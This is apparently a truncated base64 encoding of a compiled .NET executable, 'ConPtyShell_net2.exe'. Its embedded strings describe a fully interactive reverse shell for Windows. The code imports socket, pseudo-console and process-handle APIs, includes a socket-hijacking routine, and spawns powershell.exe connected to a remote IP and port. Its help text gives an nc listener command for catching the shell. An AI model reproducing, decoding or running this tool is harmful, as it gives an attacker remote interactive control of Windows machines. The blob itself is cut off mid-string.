aQD1F0IA2QAgGB4FKQEoGEYAMQHqFiQFgQBVGD8FDgAEAA0ACQAQAIoACQAUAI8ACQAYAJQACQAcAJkACQAgAI8ACAAkAKEACAAoAKYACAAsAKsACABQAIoACABUAKEACABYAKYACABcACwBCABgADEBCQB4AD4BCQB8AKEACQCAAKYACQCEAEMBCQCIAKsACQCMAEgBCQCQAE0BCQCUAFIBCQCYAFcBCQCcAFwBCQCgAGEBCQCkAGYBCQCoAGsBDgBIAZ8BCQBMATEBCQBQAUMBCQBUAdgBCQBYAd0BCQBcAeIBCABgAVcBCABkAWsBCABoAaEACQBsAecBCABwAYoACQB0AewBCQB4AfEBCQB8AaEACQCAAaYACQCEAVIBCQCIASwBCACMAfYBCACQAfsBCACUAQACLgALAE4FLgATAFcFQwErAaEASwCEA1cAhANgACIEYgAmBGYAKgSOAC0EjwCEA5kAhAOpAIQD0wCEAxABIgQSASYEIwGEAwEAAAAAAAYAAQAAAAAACAB3A4sD4QP2AxAENQQ6BEgEdASDBIgEjQSSBJ4EpQSwBLoE0wTaBP4ELQUzBTcFOwVEBU8Pew8xEFYQbBHxFRcWtwQAAQcAAwIBAEABCQAPAgEAQAELACMCAgBGARsATQMDAEYBHQBYAwQARgMfAGsDAwAGASEAdQMDAEYDIwCFAwMAQAElAJEDAQBAAScAnQMBAAABKQADAgEAAAErAK0DAQAAAS0AvwMFAAABLwDNAwUAAAE7AC0IBQBAAUMAwAkBAEABRQDiCQEAQAFHALoFAQBGAUkA/AkBAEABSwALCgEAQAFNAA8CAQBAAU8AHAoBAEABUQApCgEAQAFTAAMCAQBGAVUANgoBAEYDVwBBCgEAQAFZAEwKAQBAAVsAVQoBAEABXQBfCgEAQAFfAHMKAQBAAWEAhgoBAEABYwCVCgEAAAFlAKQKAQBBAWcAsQoBAAABaQC9CgYAAAFrAMgKAQAGAW0A2QoBAEMBbwDpCgcAQgFxAGsDAwBAAXMAMQsDAEABdQA5CwMAQgF3AD8LAwAGAXkAdQMDAEYBewBNAwMARAF9AEkLAwBGAX8AVQsDAEYBgQBaCwMAAAGDAF8LBQAAAYUAcAsFAASAAAAAAAAAAAAAAAAAAAAAAPYOAAACAAAAAAAAAAAAAAABAJABAAAAAAIAAAAAAAAAAAAAAAEAmQEAAAAABAADAAYABQAHAAUACAAFAAkABQAKAAUACwAFAAwABQANAAUADgAFABEAEAASABAAEwAQABQAEAAVABAAFgAQABcAEAAAAAAAADxNb2R1bGU+AENvblB0eVNoZWxsX25ldDIuZXhlAENvblB0eVNoZWxsRXhjZXB0aW9uAERlYWRsb2NrQ2hlY2tIZWxwZXIATFBUSFJFQURfU1RBUlRfUk9VVElORQBTb2NrZXRIaWphY2tpbmcAU1lTVEVNX0hBTkRMRQBPQkpFQ1RfSU5GT1JNQVRJT05fQ0xBU1MAT0JKRUNUX05BTUVfSU5GT1JNQVRJT04AVU5JQ09ERV9TVFJJTkcAUHJvY2Vzc0FjY2Vzc0ZsYWdzAFdTQURhdGEAV1NBUFJPVE9DT0xDSEFJTgBXU0FQUk9UT0NPTF9JTkZPAFNPQ0tBRERSX0lOAFBhcmVudFByb2Nlc3NVdGlsaXRpZXMAQ29uUHR5U2hlbGwAU1RBUlRVUElORk9FWABTVEFSVFVQSU5GTwBQUk9DRVNTX0lORk9STUFUSU9OAFNFQ1VSSVRZX0FUVFJJQlVURVMAQ09PUkQAQ29uUHR5U2hlbGxNYWluQ2xhc3MATWFpbkNsYXNzAG1zY29ybGliAFN5c3RlbQBFeGNlcHRpb24AT2JqZWN0AE11bHRpY2FzdERlbGVnYXRlAFZhbHVlVHlwZQBFbnVtAGVycm9yX3N0cmluZwAuY3RvcgBkZWFkbG9ja0RldGVjdGVkAHRhcmdldEhhbmRsZQBDbG9zZUhhbmRsZQBXYWl0Rm9yU2luZ2xlT2JqZWN0AENyZWF0ZVRocmVhZABUaHJlYWRDaGVja0RlYWRsb2NrAENoZWNrRGVhZGxvY2tEZXRlY3RlZABJbnZva2UASUFzeW5jUmVzdWx0AEFzeW5jQ2FsbGJhY2sAQmVnaW5JbnZva2UARW5kSW52b2tlAE5UU1RBVFVTX1NVQ0NFU1MATlRTVEFUVVNfSU5GT0xFTkdUSE1JU01BVENIAE5UU1RBVFVTX0JVRkZFUk9WRVJGTE9XAE5UU1RBVFVTX0JVRkZFUlRPT1NNQUxMAFNUQVRVU19JTkZPX0xFTkdUSF9NSVNNQVRDSABXU0FfRkxBR19PVkVSTEFQUEVEAERVUExJQ0FURV9TQU1FX0FDQ0VTUwBTeXN0ZW1IYW5kbGVJbmZvcm1hdGlvbgBXU0FTdGFydHVwAFdTQUR1cGxpY2F0ZVNvY2tldABXU0FTb2NrZXQAV1NBR2V0TGFzdEVycm9yAGdldHBlZXJuYW1lAE9wZW5Qcm9jZXNzAER1cGxpY2F0ZUhhbmRsZQBHZXRDdXJyZW50UHJvY2VzcwBOdFF1ZXJ5T2JqZWN0AE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb25EeW5hbWljAE50UXVlcnlPYmplY3REeW5hbWljAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAEdldFNvY2tldFRhcmdldFByb2Nlc3MASXNTb2NrZXRJbmhlcml0ZWQARHVwbGljYXRlVGFyZ2V0UHJvY2Vzc1NvY2tldABQcm9jZXNzSWQAQ3JlYXRvckJhY2tUcmFja0luZGV4AE9iamVjdFR5cGVOdW1iZXIASGFuZGxlQXR0cmlidXRlAEhhbmRsZQBHcmFudGVkQWNjZXNzAHZhbHVlX18AT2JqZWN0QmFzaWNJbmZvcm1hdGlvbgBPYmplY3ROYW1lSW5mb3JtYXRpb24AT2JqZWN0VHlwZUluZm9ybWF0aW9uAE9iamVjdEFsbFR5cGVzSW5mb3JtYXRpb24AT2JqZWN0SGFuZGxlSW5mb3JtYXRpb24ATmFtZQBMZW5ndGgATWF4aW11bUxlbmd0aABCdWZmZXIAQWxsAFRlcm1pbmF0ZQBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFZpcnR1YWxNZW1vcnlSZWFkAFZpcnR1YWxNZW1vcnlXcml0ZQBDcmVhdGVQcm9jZXNzAFNldFF1b3RhAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU3luY2hyb25pemUAd1ZlcnNpb24Ad0hpZ2hWZXJzaW9uAGlNYXhTb2NrZXRzAGlNYXhVZHBEZwBscFZlbmRvckluZm8Ac3pEZXNjcmlwdGlvbgBzelN5c3RlbVN0YXR1cwBDaGFpbkxlbgBDaGFpbkVudHJpZXMAZHdTZXJ2aWNlRmxhZ3MxAGR3U2VydmljZUZsYWdzMgBkd1NlcnZpY2VGbGFnczMAZHdTZXJ2aWNlRmxhZ3M0AGR3UHJvdmlkZXJGbGFncwBHdWlkAFByb3ZpZGVySWQAZHdDYXRhbG9nRW50cnlJZABQcm90b2NvbENoYWluAGlWZXJzaW9uAGlBZGRyZXNzRmFtaWx5AGlNYXhTb2NrQWRkcgBpTWluU29ja0FkZHIAaVNvY2tldFR5cGUAaVByb3RvY29sAGlQcm90b2NvbE1heE9mZnNldABpTmV0d29ya0J5dGVPcmRlcgBpU2VjdXJpdHlTY2hlbWUAZHdNZXNzYWdlU2l6ZQBkd1Byb3ZpZGVyUmVzZXJ2ZWQAc3pQcm90b2NvbABzaW5fZmFtaWx5AHNpbl9wb3J0AHNpbl9hZGRyAHNpbl96ZXJvAFJlc2VydmVkMQBQZWJCYXNlQWRkcmVzcwBSZXNlcnZlZDJfMABSZXNlcnZlZDJfMQBVbmlxdWVQcm9jZXNzSWQASW5oZXJpdGVkRnJvbVVuaXF1ZVByb2Nlc3NJZABOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAEdldFBhcmVudFByb2Nlc3MAZXJyb3JTdHJpbmcARU5BQkxFX1ZJUlRVQUxfVEVSTUlOQUxfUFJPQ0VTU0lORwBESVNBQkxFX05FV0xJTkVfQVVUT19SRVRVUk4AUFJPQ19USFJFQURfQVRUUklCVVRFX1BTRVVET0NPTlNPTEUARVhURU5ERURfU1RBUlRVUElORk9fUFJFU0VOVABDUkVBVEVfTk9fV0lORE9XAFNUQVJURl9VU0VTVERIQU5ETEVTAEJVRkZFUl9TSVpFX1BJUEUASU5GSU5JVEUAU1dfSElERQBHRU5FUklDX1JFQUQAR0VORVJJQ19XUklURQBGSUxFX1NIQVJFX1JFQUQARklMRV9TSEFSRV9XUklURQBGSUxFX0FUVFJJQlVURV9OT1JNQUwAT1BFTl9FWElTVElORwBTVERfSU5QVVRfSEFORExFAFNURF9PVVRQVVRfSEFORExFAFNURF9FUlJPUl9IQU5ETEUASW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0AFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAQ3JlYXRlUHJvY2Vzc1cAVGVybWluYXRlUHJvY2VzcwBTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAEFkZHJlc3NGYW1pbHkAU29ja2V0VHlwZQBQcm90b2NvbFR5cGUAY29ubmVjdABodG9ucwBpbmV0X2FkZHIAY2xvc2Vzb2NrZXQAcmVjdgBzZW5kAE50U3VzcGVuZFByb2Nlc3MATnRSZXN1bWVQcm9jZXNzAGNvbm5lY3RSZW1vdGUAVHJ5UGFyc2VSb3dzQ29sc0Zyb21Tb2NrZXQAQ3JlYXRlUGlwZXMASW5pdENvbnNvbGUAUmVzdG9yZVN0ZEhhbmRsZXMARW5hYmxlVmlydHVhbFRlcm1pbmFsU2VxdWVuY2VQcm9jZXNzaW5nAENyZWF0ZVBzZXVkb0NvbnNvbGVXaXRoUGlwZXMAQ29uZmlndXJlUHJvY2Vzc1RocmVhZABSdW5Qcm9jZXNzAENyZWF0ZUNoaWxkUHJvY2Vzc1dpdGhQc2V1ZG9Db25zb2xlAFRocmVhZFJlYWRQaXBlV3JpdGVTb2NrZXQAU3lzdGVtLlRocmVhZGluZwBUaHJlYWQAU3RhcnRUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFRocmVhZFJlYWRTb2NrZXRXcml0ZVBpcGUAU3RhcnRUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFNwYXduQ29uUHR5U2hlbGwAU3RhcnR1cEluZm8AbHBBdHRyaWJ1dGVMaXN0AGNiAGxwUmVzZXJ2ZWQAbHBEZXNrdG9wAGxwVGl0bGUAZHdYAGR3WQBkd1hTaXplAGR3WVNpemUAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAGR3RmlsbEF0dHJpYnV0ZQBkd0ZsYWdzAHdTaG93V2luZG93AGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAGhTdGRJbnB1dABoU3RkT3V0cHV0AGhTdGRFcnJvcgBoUHJvY2VzcwBoVGhyZWFkAGR3UHJvY2Vzc0lkAGR3VGhyZWFkSWQAbkxlbmd0aABscFNlY3VyaXR5RGVzY3JpcHRvcgBiSW5oZXJpdEhhbmRsZQBYAFkAaGVscABIZWxwUmVxdWlyZWQAQ2hlY2tBcmdzAERpc3BsYXlIZWxwAENoZWNrUmVtb3RlSXBBcmcAQ2hlY2tJbnQAUGFyc2VSb3dzAFBhcnNlQ29scwBQYXJzZUNvbW1hbmRMaW5lAENvblB0eVNoZWxsTWFpbgBNYWluAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBDb25QdHlTaGVsbF9uZXQyAG1lc3NhZ2UAU3RyaW5nAENvbmNhdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbABoT2JqZWN0AGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAS2VybmVsMzIuZGxsAGxwVGhyZWFkQXR0cmlidXRlcwBkd1N0YWNrU2l6ZQBscFN0YXJ0QWRkcmVzcwBscFBhcmFtZXRlcgBkd0NyZWF0aW9uRmxhZ3MAbHBUaHJlYWRJZABPdXRBdHRyaWJ1dGUAdGhyZWFkUGFyYW1zAHRIYW5kbGUASW50UHRyAFplcm8Ab2JqZWN0AG1ldGhvZABscFBhcmFtAGNhbGxiYWNrAHJlc3VsdAB3czJfMzIuZGxsAHdWZXJzaW9uUmVxdWVzdGVkAHdzYURhdGEAV1MyXzMyLkRMTABzb2NrZXRIYW5kbGUAcHJvY2Vzc0lkAHBpbm5lZEJ1ZmZlcgBhZGRyZXNzRmFtaWx5AEluQXR0cmlidXRlAHNvY2tldFR5cGUAcHJvdG9jb2xUeXBlAGxwUHJvdG9jb2xJbmZvAGdyb3VwMQBzAG5hbWUAbmFtZWxlbgBwcm9jZXNzQWNjZXNzAE1hcnNoYWxBc0F0dHJpYnV0ZQBVbm1hbmFnZWRUeXBlAGhTb3VyY2VQcm9jZXNzSGFuZGxlAGhTb3VyY2VIYW5kbGUAaFRhcmdldFByb2Nlc3NIYW5kbGUAbHBUYXJnZXRIYW5kbGUAZHdEZXNpcmVkQWNjZXNzAGR3T3B0aW9ucwBudGRsbC5kbGwAb2JqZWN0SGFuZGxlAGluZm9ybWF0aW9uQ2xhc3MAaW5mb3JtYXRpb25QdHIAaW5mb3JtYXRpb25MZW5ndGgAcmV0dXJuTGVuZ3RoAFN5c3RlbUluZm9ybWF0aW9uQ2xhc3MAU3lzdGVtSW5mb3JtYXRpb24AU3lzdGVtSW5mb3JtYXRpb25MZW5ndGgAaW5mb0NsYXNzAGluZm9MZW5ndGgATWFyc2hhbABBbGxvY0hHbG9iYWwARnJlZUhHbG9iYWwAaGFuZGxlAEludDMyAFR5cGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAU2l6ZU9mAHRhcmdldFByb2Nlc3MAZ2V0X0lkAG9wX0VxdWFsaXR5AFRvU3RyaW5nAENvbnNvbGUAV3JpdGVMaW5lAFJlYWRJbnRQdHIAVG9JbnQ2NABnZXRfU2l6ZQBQdHJUb1N0cnVjdHVyZQBvcF9FeHBsaWNpdABvcF9JbmVxdWFsaXR5AFB0clRvU3RyaW5nVW5pAHBhcmVudFByb2Nlc3MARm9ybWF0AFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAEZsYWdzQXR0cmlidXRlAHByb2Nlc3NIYW5kbGUAcHJvY2Vzc0luZm9ybWF0aW9uQ2xhc3MAcHJvY2Vzc0luZm9ybWF0aW9uAHByb2Nlc3NJbmZvcm1hdGlvbkxlbmd0aABnZXRfSGFuZGxlAGlkAEdldFByb2Nlc3NCeUlkAFRvSW50MzIAQXJndW1lbnRFeGNlcHRpb24AZHdBdHRyaWJ1dGVDb3VudABscFNpemUAYXR0cmlidXRlAGxwVmFsdWUAY2JTaXplAGxwUHJldmlvdXNWYWx1ZQBscFJldHVyblNpemUAbHBBcHBsaWNhdGlvbk5hbWUAbHBDb21tYW5kTGluZQBscFByb2Nlc3NBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBscEVudmlyb25tZW50AGxwQ3VycmVudERpcmVjdG9yeQBscFN0YXJ0dXBJbmZvAGxwUHJvY2Vzc0luZm9ybWF0aW9uAHVFeGl0Q29kZQBuU3RkSGFuZGxlAGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd1NoYXJlTW9kZQBTZWN1cml0eUF0dHJpYnV0ZXMAZHdDcmVhdGlvbkRpc3Bvc2l0aW9uAGR3RmxhZ3NBbmRBdHRyaWJ1dGVzAGhUZW1wbGF0ZUZpbGUAaEZpbGUAbHBCdWZmZXIAbk51bWJlck9mQnl0ZXNUb1JlYWQAbHBOdW1iZXJPZkJ5dGVzUmVhZABscE92ZXJsYXBwZWQAbk51bWJlck9mQnl0ZXNUb1dyaXRlAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4Ac2l6ZQBoSW5wdXQAaE91dHB1dABwaFBDAGhQQwBoQ29uc29sZUhhbmRsZQBtb2RlAHVzZXIzMi5kbGwAaFduZABuQ21kU2hvdwBscE1vZHVsZU5hbWUAa2VybmVsMzIAaE1vZHVsZQBwcm9jTmFtZQBwcm90b2NvbEluZm8AZ3JvdXAAZmxhZ3MAYWRkcgBhZGRyc2l6ZQBob3N0c2hvcnQAY3AAU29ja2V0AGJ1ZgBsZW4AcmVtb3RlSXAAcmVtb3RlUG9ydABDb252ZXJ0AHNoZWxsU29ja2V0AHJvd3MAY29scwBTbGVlcABCeXRlAFN5c3RlbS5UZXh0AEVuY29kaW5nAGdldF9BU0NJSQBHZXRTdHJpbmcAQ2hhcgBTcGxpdABUcmltAFRyeVBhcnNlAElucHV0UGlwZVJlYWQASW5wdXRQaXBlV3JpdGUAT3V0cHV0UGlwZVJlYWQAT3V0cHV0UGlwZVdyaXRlAG9sZFN0ZEluAG9sZFN0ZE91dABvbGRTdGRFcnIAaGFuZGxlUHNldWRvQ29uc29sZQBDb25QdHlJbnB1dFBpcGVSZWFkAENvblB0eU91dHB1dFBpcGVXcml0ZQBhdHRyaWJ1dGVzAEdldExhc3RXaW4zMkVycm9yAHNJbmZvRXgAY29tbWFuZExpbmUAUGFyYW1ldGVyaXplZFRocmVhZFN0YXJ0AFN0YXJ0AGhDaGlsZFByb2Nlc3MAdXBncmFkZVNoZWxsAEFib3J0AHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAGlwU3RyaW5nAFN5c3RlbS5OZXQASVBBZGRyZXNzAGFyZwBhcmdzAENvbnRhaW5zAC5jY3RvcgAAAAAANVsALQBdACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAEUAeABjAGUAcAB0AGkAbwBuADoAIAABSUMAYQBuAG4AbwB0ACAAbwBwAGUAbgAgAHQAYQByAGcAZQB0ACAAcAByAG8AYwBlAHMAcwAgAHcAaQB0AGgAIABwAGkAZAAgAAA3IABmAG8AcgAgAEQAdQBwAGwAaQBjAGEAdABlAEgAYQBuAGQAbABlACAAYQBjAGMAZQBzAHMAABdcAEQAZQB2AGkAYwBlAFwAQQBmAGQAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAVABhAHIAZwBlAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAUABhAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHFOAG8AIABcAEQAZQB2AGkAYwBlAFwAQQBmAGQAIABvAGIAagBlAGMAdABzACAAZgBvAHUAbgBkAC4AIABTAG8AYwBrAGUAdAAgAGQAdQBwAGwAaQBjAGEAdABpAG8AbgAgAGYAYQBpAGwAZQBkAC4AAE1XAFMAQQBTAHQAYQByAHQAdQBwACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAEtXAFMAQQBEAHUAcABsAGkAYwBhAHQAZQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAAlIABhAG4AZAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAADlXAFMAQQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAA3UwBwAGUAYwBpAGYAaQBlAGQAIABwAG8AcgB0ACAAaQBzACAAaQBuAHYAYQBsAGkAZAA6ACAAAE1XAFMAQQBDAG8AbgBuAGUAYwB0ACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAD1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgJUNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAANAAoAAFV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAbwBuAG4AZQBjAHQAIAB0AG8AIABpAHAAIAB7ADEAfQAgAG8AbgAgAHAAbwByAHQAIAB7ADIAfQAAOXsAewB7AEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgB9AH0AfQANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AAIC5QwBvAHUAbABkACAAbgBvAHQAIAB1AHAAZwByAGEAZABlACAAcwBoAGUAbABsACAAdABvACAAZgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAYgBlAGMAYQB1AHMAZQAgAEMAbwBuAFAAVABZACAAaQBzACAAbgBvAHQAIABjAG8AbQBwAGEAdABpAGIAbABlACAAbwBuACAAdABoAGkAcwAgAHMAeQBzAHQAZQBtAACArw0ACgBDAHIAZQBhAHQAZQBQAHMAZQB1AGQAbwBDAG8AbgBzAG8AbABlACAAZgB1AG4AYwB0AGkAbwBuACAAbgBvAHQAIABmAG8AdQBuAGQAIQAgAFMAcABhAHcAbgBpAG4AZwAgAGEAIABuAGUAdABjAGEAdAAtAGwAaQBrAGUAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIABzAGgAZQBsAGwALgAuAC4ADQAKAAE5QwBvAG4AUAB0AHkAUwBoAGUAbABsACAAawBpAG4AZABsAHkAIABlAHgAaQB0AGUAZAAuAA0ACgAABS0AaAABDS0ALQBoAGUAbABwAAEFLwA/AACAuQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAE4AbwB0ACAAZQBuAG8AdQBnAGgAIABhAHIAZwB1AG0AZQBuAHQAcwAuACAAMgAgAEEAcgBnAHUAbQBlAG4AdABzACAAcgBlAHEAdQBpAHIAZQBkAC4AIABVAHMAZQAgAC0ALQBoAGUAbABwACAAZgBvAHIAIABhAGQAZABpAHQAaQBvAG4AYQBsACAAaABlAGwAcAAuAA0ACgABSw0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIAByAGUAbQBvAHQAZQBJAHAAIAB2AGEAbAB1AGUAAEsNAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsADoAIABJAG4AdgBhAGwAaQBkACAAaQBuAHQAZQBnAGUAcgAgAHYAYQBsAHUAZQAgAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAAAPdQBwAGcAcgBhAGQAZQAAjqUNAAoADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABJAG4AdABlAHIAYQBjAHQAaQB2AGUAIABSAGUAdgBlAHIAcwBlACAAUwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzACAADQAKAEEAdQB0AGgAbwByADoAIABzAHAAbABpAG4AdABlAHIAXwBjAG8AZABlAA0ACgBMAGkAYwBlAG4AcwBlADoAIABNAEkAVAANAAoAUwBvAHUAcgBjAGUAOgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AYQBuAHQAbwBuAGkAbwBDAG8AYwBvAC8AQwBvAG4AUAB0AHkAUwBoAGUAbABsAA0ACgAgACAAIAAgAA0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIAAtACAARgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwANAAoADQAKAFAAcgBvAHAAZQByAGwAeQAgAHMAZQB0ACAAdABoAGUAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMALgAgAFkAbwB1ACAAYwBhAG4AIAByAGUAdAByAGkAZQB2AGUAIABpAHQAIABmAHIAbwBtAA0ACgB5AG8AdQByACAAdABlAHIAbQBpAG4AYQBsACAAdwBpAHQAaAAgAHQAaABlACAAYwBvAG0AbQBhAG4AZAAgACIAcwB0AHQAeQAgAHMAaQB6AGUAIgAuAA0ACgANAAoAWQBvAHUAIABjAGEAbgAgAGEAdgBvAGkAZAAgAHQAbwAgAHMAZQB0ACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHYAYQBsAHUAZQBzACAAaQBmACAAeQBvAHUAIAByAHUAbgAgAHkAbwB1AHIAIABsAGkAcwB0AGUAbgBlAHIADQAKAHcAaQB0AGgAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZAA6AA0ACgAgACAAIAAgAHMAdAB0AHkAIAByAGEAdwAgAC0AZQBjAGgAbwA7ACAAKABzAHQAdAB5ACAAcwBpAHoAZQA7ACAAYwBhAHQAKQAgAHwAIABuAGMAIAAtAGwAdgBuAHAAIAAzADAAMAAxAA0ACgANAAoASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAYwBoAGEAbgBnAGUAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUAIABzAGkAegBlACAAZABpAHIAZQBjAHQAbAB5ACAAZgByAG8AbQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwADQAKAHkAbwB1ACAAYwBhAG4AIABwAGEAcwB0AGUAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZABzADoADQAKACAAIAAgACAAJAB3AGkAZAB0AGgAPQA4ADAADQAKACAAIAAgACAAJABoAGUAaQBnAGgAdAA9ADIANAANAAoAIAAgACAAIAAkAEgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBCAHUAZgBmAGUAcgBTAGkAegBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAFcAaQBuAGQAbwB3AFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAALQBBAHIAZwB1